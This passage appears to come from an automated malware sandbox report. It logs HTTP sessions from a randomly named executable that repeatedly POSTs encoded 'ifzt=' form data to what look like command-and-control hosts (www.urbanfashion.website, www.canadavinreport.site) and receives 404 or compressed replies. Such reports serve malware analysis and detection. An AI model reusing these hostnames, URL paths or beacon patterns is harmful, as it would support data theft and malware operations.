Nov 25, 2024 09:44:52.039508104 CET	824	OUT	POST /aezw/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Host: www.urbanfashion.website Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 221 Origin: http://www.urbanfashion.website Referer: http://www.urbanfashion.website/aezw/ User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 BIDUBrowser/7.6 Safari/537.36 Data Raw: 69 66 7a 74 3d 61 50 30 32 58 77 37 78 55 54 4c 78 71 4d 77 58 73 58 36 41 2b 68 63 33 37 43 34 49 53 49 38 73 36 31 71 36 45 51 6e 35 45 79 69 32 4b 47 34 46 43 79 6b 39 74 76 45 66 6d 39 62 41 6f 69 4d 77 54 4b 32 5a 77 76 71 44 77 36 33 4a 55 44 63 37 73 47 4f 76 72 51 37 76 59 72 65 38 70 34 57 73 4a 53 47 6a 67 37 2b 59 6b 32 30 59 2f 4f 61 37 30 73 34 63 4e 47 35 49 32 51 5a 50 6a 6b 55 42 4e 56 6e 4c 6b 75 39 35 75 37 4e 49 37 59 38 6a 4e 7a 6a 52 69 39 59 4f 4d 6f 54 2b 4f 72 6a 38 6e 49 77 35 5a 72 4d 6c 63 46 2b 6f 64 4a 45 57 37 39 35 72 67 59 7a 46 78 2b 50 53 4f 6a 53 67 63 76 6f 6e 32 75 5a 33 52 48 32 2b 51 50 55 62 64 76 78 4c 39 42 38 3d Data Ascii: ifzt=aP02Xw7xUTLxqMwXsX6A+hc37C4ISI8s61q6EQn5Eyi2KG4FCyk9tvEfm9bAoiMwTK2ZwvqDw63JUDc7sGOvrQ7vYre8p4WsJSGjg7+Yk20Y/Oa70s4cNG5I2QZPjkUBNVnLku95u7NI7Y8jNzjRi9YOMoT+Orj8nIw5ZrMlcF+odJEW795rgYzFx+PSOjSgcvon2uZ3RH2+QPUbdvxL9B8=
Nov 25, 2024 09:44:53.337768078 CET	533	IN	HTTP/1.1 404 Not Found Date: Mon, 25 Nov 2024 08:44:53 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	50030	209.74.77.108	80	3164	C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 09:44:54.698921919 CET	10906	OUT	POST /aezw/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Host: www.urbanfashion.website Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 10301 Origin: http://www.urbanfashion.website Referer: http://www.urbanfashion.website/aezw/ User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 BIDUBrowser/7.6 Safari/537.36 Data Raw: 69 66 7a 74 3d 61 50 30 32 58 77 37 78 55 54 4c 78 71 4d 77 58 73 58 36 41 2b 68 63 33 37 43 34 49 53 49 38 73 36 31 71 36 45 51 6e 35 45 30 36 32 4c 30 77 46 42 52 4d 39 73 76 45 66 6c 39 62 64 6f 69 4d 68 54 4b 75 56 77 76 6e 32 77 34 50 4a 55 68 55 37 38 33 4f 76 68 51 37 76 48 62 65 39 74 34 57 44 4a 52 2b 6e 67 37 4f 59 6b 32 30 59 2f 4e 43 37 69 4e 34 63 4c 47 35 50 2f 77 5a 62 77 30 55 36 4e 56 2b 77 6b 74 51 4d 74 4c 74 49 38 35 4d 6a 4b 42 62 52 34 39 59 4d 42 49 53 6a 4f 72 6e 64 6e 49 73 44 5a 71 34 4c 63 48 69 6f 65 38 39 64 72 65 68 6f 6a 75 33 69 71 35 53 79 47 68 61 56 55 64 6b 72 7a 2b 5a 32 4e 6b 65 55 61 50 4a 4a 42 64 4e 51 76 58 39 46 4f 34 77 5a 62 69 70 31 42 6d 78 6f 65 4a 33 6c 67 75 76 41 2f 67 56 6c 65 48 78 6e 4b 36 52 49 72 31 4d 72 58 69 32 6e 31 45 6f 64 32 36 4e 44 6a 47 71 45 2b 51 4c 6e 5a 65 32 68 39 6f 31 59 58 35 6c 44 50 7a 5a 77 54 42 37 49 61 32 6b 49 62 49 4d 4f 55 52 45 75 6f 2b 2f 76 4f 4b 5a 6b 53 34 6d 74 59 31 62 35 6f 76 2f 75 51 74 51 34 6b 44 32 64 64 [TRUNCATED] Data Ascii: ifzt=aP02Xw7xUTLxqMwXsX6A+hc37C4ISI8s61q6EQn5E062L0wFBRM9svEfl9bdoiMhTKuVwvn2w4PJUhU783OvhQ7vHbe9t4WDJR+ng7OYk20Y/NC7iN4cLG5P/wZbw0U6NV+wktQMtLtI85MjKBbR49YMBISjOrndnIsDZq4LcHioe89drehoju3iq5SyGhaVUdkrz+Z2NkeUaPJJBdNQvX9FO4wZbip1BmxoeJ3lguvA/gVleHxnK6RIr1MrXi2n1Eod26NDjGqE+QLnZe2h9o1YX5lDPzZwTB7Ia2kIbIMOUREuo+/vOKZkS4mtY1b5ov/uQtQ4kD2ddjdG8ltKd4c4CtHkDmwQs80NOUlbgRV5nmbd2r89dbqdX/NEfv1YA2r4RbBMMlXZFtukVKp49Jt6KTGP8eoVoblblVi6NDF4RFr7Z/gSd4qVB13EYDnq2xXeiUnkOaAaUNTe6j10MayA4k+KrL7uY2uzlL4+p1nS7eETTHhRCwSgUWbLrxif1TRoF+CRFWo97aYUY7eJkJ8Gf6DLvf2+301G7eRtdfR2V6HxvmwNug7f+Ac/pqNuXtGtLTHW6qit78DZ1+sg8bBD+jVq3mSGvRMpUfuw3UrFWjZEHTdmQcOYi3S6IPF7lrmwGtnOyNUFeex7/YsTeRplP+BwRI5dHrBg3SM72dKWoSXrIx3s0DNH4kL0/Fyo3UeV/21HyMCjxdhkbBNtn67GJm5v/F3pEE741bwnT/F3jdt0GdjA7K1uhqzrTGOHCUg5fdN9Q5c8WxCf7Ik5/F8v6snt5EL0OzCH7sl3L+2D9By9EtmBInKYo9YWkEVY9HEeQo/wSpYuqw3dCxFaTFgfJI+PKjYWeaPvPdnGCqzTj6TeYZNukWubE574DIlQpNtnjlVX7oZjeWPQkdGtCewjKUK8HFqUk7UbTKrYxKHXrbvixqpSXjcNU+v4a6jg7RMjcUYnu0vblZwZEQ80qFeJNTegciTqpIQP1XKw1AsKP+X [TRUNCATED]
Nov 25, 2024 09:44:56.021486998 CET	533	IN	HTTP/1.1 404 Not Found Date: Mon, 25 Nov 2024 08:44:55 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	50035	209.74.77.108	80	3164	C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 09:44:57.363040924 CET	524	OUT	GET /aezw/?ifzt=XNcWUHXsHCrFsIBQlHGgjiME8CQZSYUU21qPNzqhKy2oFU8Odgs/t8kovejF8iENVZDP/oOK84yuTx8YyXOBoi/XK/eRsY6lCiyQls/Pp30YwPjl0cgXKAM=&qX=qP0hoZO0bjg4 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Host: www.urbanfashion.website Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 BIDUBrowser/7.6 Safari/537.36
Nov 25, 2024 09:44:58.679361105 CET	548	IN	HTTP/1.1 404 Not Found Date: Mon, 25 Nov 2024 08:44:58 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	50044	185.27.134.206	80	3164	C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 09:45:04.581717968 CET	804	OUT	POST /vvzz/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Host: www.canadavinreport.site Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 201 Origin: http://www.canadavinreport.site Referer: http://www.canadavinreport.site/vvzz/ User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 BIDUBrowser/7.6 Safari/537.36 Data Raw: 69 66 7a 74 3d 52 57 77 7a 6f 52 6e 37 58 70 6f 46 47 64 58 6b 46 36 6e 6f 35 52 66 2f 63 56 4d 45 51 6e 77 68 2f 4e 7a 37 6e 6f 44 43 2f 7a 65 55 6c 63 51 52 73 79 47 48 47 70 72 34 6d 59 64 6d 2b 4f 33 56 64 63 72 7a 61 73 72 59 54 2f 75 55 76 39 70 35 70 52 6c 63 6d 2b 4d 69 2f 68 56 6f 55 41 43 57 79 78 2b 62 65 32 57 33 43 78 30 72 52 41 44 44 76 4a 64 54 48 62 65 58 35 2f 6f 5a 4a 44 70 46 36 61 56 32 66 56 78 30 4a 54 4f 52 58 68 36 38 30 4b 75 67 6b 59 32 55 6c 52 4c 41 4d 78 64 6d 70 47 73 67 66 7a 64 54 64 73 4f 68 4e 6a 4c 31 30 76 6b 56 47 66 5a 46 51 41 53 64 42 50 35 71 6c 41 3d 3d Data Ascii: ifzt=RWwzoRn7XpoFGdXkF6no5Rf/cVMEQnwh/Nz7noDC/zeUlcQRsyGHGpr4mYdm+O3VdcrzasrYT/uUv9p5pRlcm+Mi/hVoUACWyx+be2W3Cx0rRADDvJdTHbeX5/oZJDpF6aV2fVx0JTORXh680KugkY2UlRLAMxdmpGsgfzdTdsOhNjL10vkVGfZFQASdBP5qlA==
Nov 25, 2024 09:45:05.813123941 CET	683	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 25 Nov 2024 08:45:05 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Expires: Thu, 01 Jan 1970 00:00:01 GMT Cache-Control: no-cache Content-Encoding: br Data Raw: 31 62 39 0d 0a a1 38 1a 00 20 ff af a9 a7 2b 8f 74 c8 13 dd 10 d1 7c bb f6 a9 b9 75 32 b3 f7 c0 39 51 27 3a d5 c8 06 df 2c 39 71 c0 13 2e 8f ba d1 4f 78 d5 39 3c fd e7 26 d0 b5 0b 89 41 90 53 12 98 fa a4 87 5a b5 01 7e 52 71 3c c3 64 24 ed 22 ec 2f 30 aa 5b d1 8d 85 f2 75 5f ca 72 82 91 b3 f0 0c c0 29 0b 5f 3f 95 c9 43 26 f2 c2 90 44 1d 1a 04 b9 32 36 1d 38 2c 69 43 13 4e c8 09 e2 be 3d 75 91 78 b6 5b 8f 1c e0 5a 31 f0 f5 43 0d 24 00 b3 46 cb ba 7e 71 61 85 d8 5f fa 7b fa 0f 93 39 c0 cd 7c 2e 77 57 3e 7c 69 98 a7 16 30 a6 0e e2 ca b5 cc fb b6 57 ce f7 89 f5 c1 4b 78 6d be dc cf 15 8e 71 89 31 f1 2f 2e 14 d0 c0 4b f8 b0 cb d9 90 c8 69 bc 3d 09 00 fd 07 76 9c 31 25 85 89 85 4c 92 d4 e4 82 17 9a 67 ac 29 8c 62 22 56 39 26 54 c5 bc 16 45 96 e7 3a b5 d6 16 5c 67 42 e4 85 88 99 48 59 c1 54 2e 5c 11 37 90 7e 1c 73 a3 a5 62 ae 10 79 6a 99 d4 b9 d4 71 cc 78 2e 85 b3 52 28 d7 e2 ca 4c f4 b4 d1 15 c0 14 e0 bf bf a5 5d 2c 01 fb 48 43 02 3b 7f f3 f0 19 1a ab e7 bb e9 d2 d3 34 a5 92 2a 42 7c 5c 21 66 7e 08 ed ee [TRUNCATED] Data Ascii: 1b98 +t\|u29Q':,9q.Ox9<&ASZ~Rq<d$"/0[u_r)_?C&D268,iCN=ux[Z1C$F~qa_{9\|.wW>\|i0WKxmq1/.Ki=v1%Lg)b"V9&TE:\gBHYT.\7~sbyjqx.R(L],HC;4*B\|\!f~,&J1q!_MND7<2h$^BIT4FHe T2-4J+0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	50045	185.27.134.206	80	3164	C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 09:45:07.243805885 CET	824	OUT	POST /vvzz/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Host: www.canadavinreport.site Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 221 Origin: http://www.canadavinreport.site Referer: http://www.canadavinreport.site/vvzz/ User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 BIDUBrowser/7.6 Safari/537.36 Data Raw: 69 66 7a 74 3d 52 57 77 7a 6f 52 6e 37 58 70 6f 46 45 2b 50 6b 47 64 37 6f 2b 78 66 2b 5a 56 4d 45 65 48 77 6c 2f 4e 2f 37 6e 71 76 53 2f 41 36 55 6c 34 55 52 32 32 61 48 46 70 72 34 79 6f 63 75 6a 65 32 62 64 63 33 42 61 76 7a 59 54 2b 4b 55 76 38 5a 35 75 67 6c 62 6e 75 4d 38 33 42 56 75 51 41 43 57 79 78 2b 62 65 32 43 4e 43 78 38 72 52 7a 4c 44 75 73 68 63 4e 37 65 51 74 76 6f 5a 65 7a 70 4a 36 61 56 49 66 58 49 52 4a 52 47 52 58 67 71 38 31 62 75 76 74 59 32 57 68 52 4b 57 4a 79 38 53 6f 32 46 52 41 41 4a 71 64 73 61 6e 49 6c 47 76 6c 65 46 43 55 66 39 32 4e 48 62 70 4d 4d 45 6a 2b 45 53 41 4f 69 71 68 53 2b 4d 6b 36 50 69 41 57 53 38 44 32 4d 41 3d Data Ascii: ifzt=RWwzoRn7XpoFE+PkGd7o+xf+ZVMEeHwl/N/7nqvS/A6Ul4UR22aHFpr4yocuje2bdc3BavzYT+KUv8Z5uglbnuM83BVuQACWyx+be2CNCx8rRzLDushcN7eQtvoZezpJ6aVIfXIRJRGRXgq81buvtY2WhRKWJy8So2FRAAJqdsanIlGvleFCUf92NHbpMMEj+ESAOiqhS+Mk6PiAWS8D2MA=
Nov 25, 2024 09:45:08.524236917 CET	683	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 25 Nov 2024 08:45:08 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Expires: Thu, 01 Jan 1970 00:00:01 GMT Cache-Control: no-cache Content-Encoding: br Data Raw: 31 62 39 0d 0a a1 38 1a 00 20 ff af a9 a7 2b 8f 74 c8 13 dd 10 d1 7c bb f6 a9 b9 75 32 b3 f7 c0 39 51 27 3a d5 c8 06 df 2c 39 71 c0 13 2e 8f ba d1 4f 78 d5 39 3c fd e7 26 d0 b5 0b 89 41 90 53 12 98 fa a4 87 5a b5 01 7e 52 71 3c c3 64 24 ed 22 ec 2f 30 aa 5b d1 8d 85 f2 75 5f ca 72 82 91 b3 f0 0c c0 29 0b 5f 3f 95 c9 43 26 f2 c2 90 44 1d 1a 04 b9 32 36 1d 38 2c 69 43 13 4e c8 09 e2 be 3d 75 91 78 b6 5b 8f 1c e0 5a 31 f0 f5 43 0d 24 00 b3 46 cb ba 7e 71 61 85 d8 5f fa 7b fa 0f 93 39 c0 cd 7c 2e 77 57 3e 7c 69 98 a7 16 30 a6 0e e2 ca b5 cc fb b6 57 ce f7 89 f5 c1 4b 78 6d be dc cf 15 8e 71 89 31 f1 2f 2e 14 d0 c0 4b f8 b0 cb d9 90 c8 69 bc 3d 09 00 fd 07 76 9c 31 25 85 89 85 4c 92 d4 e4 82 17 9a 67 ac 29 8c 62 22 56 39 26 54 c5 bc 16 45 96 e7 3a b5 d6 16 5c 67 42 e4 85 88 99 48 59 c1 54 2e 5c 11 37 90 7e 1c 73 a3 a5 62 ae 10 79 6a 99 d4 b9 d4 71 cc 78 2e 85 b3 52 28 d7 e2 ca 4c f4 b4 d1 15 c0 14 e0 bf bf a5 5d 2c 01 fb 48 43 02 3b 7f f3 f0 19 1a ab e7 bb e9 d2 d3 34 a5 92 2a 42 7c 5c 21 66 7e 08 ed ee [TRUNCATED] Data Ascii: 1b98 +t\|u29Q':,9q.Ox9<&ASZ~Rq<d$"/0[u_r)_?C&D268,iCN=ux[Z1C$F~qa_{9\|.wW>\|i0WKxmq1/.Ki=v1%Lg)b"V9&TE:\gBHYT.\7~sbyjqx.R(L],HC;4*B\|\!f~,&J1q!_MND7<2h$^BIT4FHe T2-4J+0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	50046	185.27.134.206	80	3164	C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 09:45:09.914906979 CET	10906	OUT	POST /vvzz/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Host: www.canadavinreport.site Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 10301 Origin: http://www.canadavinreport.site Referer: http://www.canadavinreport.site/vvzz/ User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 BIDUBrowser/7.6 Safari/537.36 Data Raw: 69 66 7a 74 3d 52 57 77 7a 6f 52 6e 37 58 70 6f 46 45 2b 50 6b 47 64 37 6f 2b 78 66 2b 5a 56 4d 45 65 48 77 6c 2f 4e 2f 37 6e 71 76 53 2f 41 79 55 6c 4e 41 52 73 58 61 48 45 70 72 34 78 6f 63 74 6a 65 33 48 64 63 76 46 61 76 2f 69 54 39 69 55 73 62 78 35 76 53 4e 62 75 75 4d 38 6f 52 56 76 55 41 43 35 79 33 65 66 65 32 53 4e 43 78 38 72 52 79 62 44 75 35 64 63 65 72 65 58 35 2f 70 59 4a 44 70 6c 36 61 39 59 66 58 4d 76 49 67 6d 52 58 42 61 38 32 70 47 76 6d 59 32 51 73 78 4b 65 4a 79 77 4e 6f 32 59 75 41 42 4e 4d 64 75 47 6e 4a 53 62 50 32 4f 64 6c 50 50 68 4a 65 58 7a 75 49 64 77 6b 36 6a 4b 61 43 44 6d 54 43 50 45 4a 31 76 6e 2b 54 78 67 31 67 36 74 2b 70 59 5a 4b 69 7a 65 77 38 6b 73 4d 4d 53 69 74 55 54 70 30 70 57 36 6d 33 79 6d 53 30 52 4b 56 67 71 45 59 50 6a 56 52 78 43 56 39 65 55 73 53 73 44 48 66 6d 76 63 6a 4e 33 38 6b 68 64 6e 52 63 44 32 54 37 78 55 56 74 44 67 45 69 79 44 65 61 50 30 30 76 56 68 55 54 6d 64 52 7a 58 4b 4f 71 35 52 77 69 41 44 43 73 37 4c 77 69 62 48 44 4b 64 56 48 4e [TRUNCATED] Data Ascii: ifzt=RWwzoRn7XpoFE+PkGd7o+xf+ZVMEeHwl/N/7nqvS/AyUlNARsXaHEpr4xoctje3HdcvFav/iT9iUsbx5vSNbuuM8oRVvUAC5y3efe2SNCx8rRybDu5dcereX5/pYJDpl6a9YfXMvIgmRXBa82pGvmY2QsxKeJywNo2YuABNMduGnJSbP2OdlPPhJeXzuIdwk6jKaCDmTCPEJ1vn+Txg1g6t+pYZKizew8ksMMSitUTp0pW6m3ymS0RKVgqEYPjVRxCV9eUsSsDHfmvcjN38khdnRcD2T7xUVtDgEiyDeaP00vVhUTmdRzXKOq5RwiADCs7LwibHDKdVHNNKpbzTpc0lb2wV7zuPbmILBwsDGcnnLM/qboo9RFCB7MlDyntt/yS5F6j7SmCnz+QMMSH/SUiSXfQA6zzyVfIjH+PXd70hJuJw0npaFrgfWkfe55TlONfWJwkC/gYaz0oJvLJ7Z7KG0KkFXdgHdyF/4deI2gdi6Y4tN0DLreXqWsbRtSIV9LIHJ0ttCXJeOIUz5CXRZE+283uV9zaSxXQuBrZMupse/naGfQzP2pHow8Wg3NZIROhTzhW5ieOocthZ0IgqoZk3Zg5Qf0C7DK67xNhBQD+xwAoex7bNVMY1Kh7xYFhkzD53nSu1GrAZWwDEbODgLP6BrkEHzY2b6s+yQl/mrsfyzEm4L98J5UFRRmcSjG9aSir+v5j3zJwBOjHX7sl+vM7wYliNEBMz32UZykMXEMx61ul3/VX1Mb4e23KbHICci9VXuXoD/xwbXHCkvI0Flbd9lgKQ13UN/r3B1YhAODf7aGwYBye0/6N9AbVcuEW5Aex5nKpJY2KTbVAOzNUTOblfIPel2Q9/2DJr7YJEaYx9XsY8DJ36mRyYIrZyNUpI5ffzaXzJA0ttrJbGEMTxpIlCYigSjZymMnPgDNJ9bfIstsFeL6pqMtmjJTafKqWnpY/uvajYBw8xq+bq9ObhdUV4MOVFrFDNOVMlCvk3GJTvj4nE [TRUNCATED]
Nov 25, 2024 09:45:11.241317987 CET	683	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 25 Nov 2024 08:45:11 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Expires: Thu, 01 Jan 1970 00:00:01 GMT Cache-Control: no-cache Content-Encoding: br Data Raw: 31 62 39 0d 0a a1 38 1a 00 20 ff af a9 a7 2b 8f 74 c8 13 dd 10 d1 7c bb f6 a9 b9 75 32 b3 f7 c0 39 51 27 3a d5 c8 06 df 2c 39 71 c0 13 2e 8f ba d1 4f 78 d5 39 3c fd e7 26 d0 b5 0b 89 41 90 53 12 98 fa a4 87 5a b5 01 7e 52 71 3c c3 64 24 ed 22 ec 2f 30 aa 5b d1 8d 85 f2 75 5f ca 72 82 91 b3 f0 0c c0 29 0b 5f 3f 95 c9 43 26 f2 c2 90 44 1d 1a 04 b9 32 36 1d 38 2c 69 43 13 4e c8 09 e2 be 3d 75 91 78 b6 5b 8f 1c e0 5a 31 f0 f5 43 0d 24 00 b3 46 cb ba 7e 71 61 85 d8 5f fa 7b fa 0f 93 39 c0 cd 7c 2e 77 57 3e 7c 69 98 a7 16 30 a6 0e e2 ca b5 cc fb b6 57 ce f7 89 f5 c1 4b 78 6d be dc cf 15 8e 71 89 31 f1 2f 2e 14 d0 c0 4b f8 b0 cb d9 90 c8 69 bc 3d 09 00 fd 07 76 9c 31 25 85 89 85 4c 92 d4 e4 82 17 9a 67 ac 29 8c 62 22 56 39 26 54 c5 bc 16 45 96 e7 3a b5 d6 16 5c 67 42 e4 85 88 99 48 59 c1 54 2e 5c 11 37 90 7e 1c 73 a3 a5 62 ae 10 79 6a 99 d4 b9 d4 71 cc 78 2e 85 b3 52 28 d7 